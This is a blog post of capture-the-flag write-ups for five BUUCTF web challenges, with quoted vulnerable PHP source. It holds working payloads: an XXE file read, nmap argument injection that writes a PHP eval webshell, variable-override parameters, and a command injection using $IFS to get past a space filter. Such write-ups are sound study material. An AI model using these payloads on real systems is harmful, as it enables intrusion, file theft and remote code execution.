BUUCTF web

目录

[NCTF2019]Fake XML cookbook

[BUUCTF 2018]Online Tool

[BJDCTF2020]Mark loves cat

[WUSTCTF2020]朴实无华

[网鼎杯 2020 朱雀组]Nmap


[NCTF2019]Fake XML cookbook

题目提示xml,打开网址发现是一个登录框,首先想到的是sql,但是loadXML()函数没有报错返回值,又想到了xxe,尝试一下,flag的位置是一个一个猜测并尝试出来的。

Payload:

POST

<?xml version="1.1" encoding="utf-8"?>

<!DOCTYPE note [

  <!ENTITY admin SYSTEM "file:///flag">

  ]>

<user><username>&admin;</username><password>admin</password></user>

 

[BUUCTF 2018]Online Tool

发现代码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellarg ($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

函数escapeshellarg和escapeshellarg没见过,搜一下看看。

在看了几个分析后理解了一下。

分析:

1.当escapeshellarg和escapeshellarg同时出现时,存在转义漏洞。

2.当经过escapeshellarg处理时会先对单引号进行转义(在单引号前加一个\),然后再用单引号包裹住左右两部分,使其内容连接。

3.再经过escapeshellcmd处理,会对\以及最后那个不配对儿的引号进行了转义。

例如:172.17.0.2' -v -d a=1 –> '172.17.0.2'\'' -v -d a=1' -> '172.17.0.2'\\'' -v -d a=1\'

利用namp中的-oG将一句话木马写入文件中。

Payload:

?host='<?php @eval($_POST["feng"]);?> -oG feng.php '

蚁剑连接(注意路径和文件名称)

 

然后在根目录下找到flag。

 

[BJDCTF2020]Mark loves cat

网站中没有提示。

扫一下目录发现git泄露。

在github上得到源码(githack一直出不来):

Index.php

<?php

include 'flag.php';



$yds = "dog";

$is = "cat";

$handsome = 'yds';



foreach($_POST as $x => $y){  

    $$x = $y;

}



foreach($_GET as $x => $y){

    $$x = $$y;

}



foreach($_GET as $x => $y){

    if($_GET['flag'] === $x && $x !== 'flag'){

        exit($handsome);

    }

}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){

    exit($yds);

}



if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){

    exit($is);

}



echo "the flag is: ".$flag;

代码很简单,很明显的变量覆盖。

解法一:

利用GET将$yds用$flag覆盖。

Payload:

?yds=flag

这个利用了:

foreach($_GET as $x => $y){

    $$x = $$y;

}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){

    exit($yds);

}

$yds=$flag,相当于$yds的值被$flag的值覆盖了。

解法二:

利用

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){

    exit($is);

}

条件是POST或者GET必须有一个flag=flag。

但因为POST如果传入flag=flag的话,$flag中的值就会被flag覆盖。

Payload:

?is=flag&&flag=flag

解法三:

利用

foreach($_GET as $x => $y){

    if($_GET['flag'] === $x && $x !== 'flag'){

        exit($handsome);

    }

条件,首先我们需要让$handsome的值被$flag覆盖,然后第二个GET的等号左边的内容与GET的flag的值一样,且第二个GET的等号右边不能是flag。

Payload:

?handsome=flag&&a=1&&flag=a

解法四(这个没想到,在网上学的):

利用

echo "the flag is: ".$flag;

得到flag,必须绕过前边所有的if,利用了强等号判断参数类别的特点。

Payload:

?1=flag&&flag=1

[WUSTCTF2020]朴实无华

扫一下发现存在robots.txt文件。

 

访问。

 

在响应头中发现/fl4g.php。

 

存在乱码,利用火狐自带的恢复编码试一下,得到代码。

源码如下:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

需要绕过三个if条件。

第一层:

intval($num) < 2020 && intval($num + 1) > 2021

num等于2e4时,利用PHP弱类型绕过2020,利用intval绕过2021

第二层:

md5若碰撞让其的md5值等于本身,这个我直接写过专门讲md5碰撞的文章。

利用0e215962017md5值和自身相等。

所以用md5= 0e215962017可以绕过。

第三层:

就是相当于命令执行,首先ls一下。

空格可以用<、$IFS$1、${IFS}、$IFS$9等等代替。

Payload:

?num=2e5&&md5=0e215962017&&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

 

得到flag。

[网鼎杯 2020 朱雀组]Nmap

考察nmap的使用。

​
选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件

​

尝试看能不能利用-oA来保存php文件。

利用空格和单引号绕过函数处理。(具体不太理解)

 

发现php好像被过滤。

可以传入phtml文件。

Payload:

' <?= @eval($_POST[feng]); ?> -oG feng.phtml '

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值